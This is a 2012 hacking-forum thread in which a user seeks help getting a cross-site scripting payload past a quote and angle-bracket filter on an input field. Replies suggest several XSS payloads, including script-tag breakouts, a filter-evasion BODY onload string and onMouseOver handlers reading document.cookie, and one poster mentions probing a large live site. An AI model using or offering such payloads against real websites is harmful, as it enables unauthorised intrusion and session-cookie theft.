+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: xss quot bypass (/showthread.php?tid=2270575)
xss quot bypass - protocol - Mar 3, 2012
Hello everyone,
I need some help in bypassing "
I have a payload
" onmouseover="alert(0);
in this " is getting filtered.
I tried %22, 22, string.fromcharcode method etc. but nothing worked.
Any help will be really appreciated.
* - games-lol-owned - Mar 3, 2012
maybe </script><script>alert(1)</script>
or </script><script>alert(/lol/)</script>
hope this helps
* - Mario - Mar 4, 2012
(Mar 3, 2012 11:31 PM)games-lol-owned Wrote: maybe </script><script>alert(1)</script>
or </script><script>alert(/lol/)</script>
hope this helps
There is no reason to close and open a script when you are already in one.
* - | Solo | - Mar 4, 2012
try
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert('XSS')>
* - protocol - Mar 4, 2012
(Mar 4, 2012 12:58 AM)-Inertia- Wrote: try
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert('XSS')>
This wont work, i am in input tag so need to add something like onmouseover=" in there
(Mar 3, 2012 11:31 PM)games-lol-owned Wrote: maybe </script><script>alert(1)</script>
or </script><script>alert(/lol/)</script>
hope this helps
<> gets filtered thats why i am using onmouseover
* - cheatson - Mar 4, 2012
(Mar 4, 2012 01:14 AM)protocol Wrote: This wont work, i am in input tag so need to add something like onmouseover=" in there
<> gets filtered thats why i am using onmouseover
That is so wierd, I have this exact problem on a site I looked at last night- a big one, wonder if its the same ^_^ is your one a hidden input by any chance?
(Mar 3, 2012 11:31 PM)games-lol-owned Wrote: maybe </script><script>alert(1)</script>Hopefully you are trolling games-lol-owned @__@
or </script><script>alert(/lol/)</script>
hope this helps
* - protocol - Mar 5, 2012
(Mar 4, 2012 02:20 AM)cheatson Wrote: That is so wierd, I have this exact problem on a site I looked at last night- a big one, wonder if its the same ^_^ is your one a hidden input by any chance?
Hopefully you are trolling games-lol-owned @__@
its mozilla on which i am trying ...
still no luck mate.
* - games-lol-owned - Mar 5, 2012
sorry guys i had been up 50 hours when i posted on this and was replying to 2 ppl about the same sorta thing haha i never ment to post that here lol i had something but cant find it now grrrr haha
sorry for the confusing peeps
what about something like onMouseOver='alert(document.cookie)'>
using '
not sure but could you not / it i.e.:/ onMouseOver=/alert(document.cookie)/>
* - protocol - Mar 6, 2012
(Mar 5, 2012 04:01 PM)games-lol-owned Wrote: sorry guys i had been up 50 hours when i posted on this and was replying to 2 ppl about the same sorta thing haha i never ment to post that here lol i had something but cant find it now grrrr haha
sorry for the confusing peeps
what about something like onMouseOver='alert(document.cookie)'>
using '
not sure but could you not / it i.e.:/ onMouseOver=/alert(document.cookie)/>
not working, i even cant use <> these as well only use / but these also not working.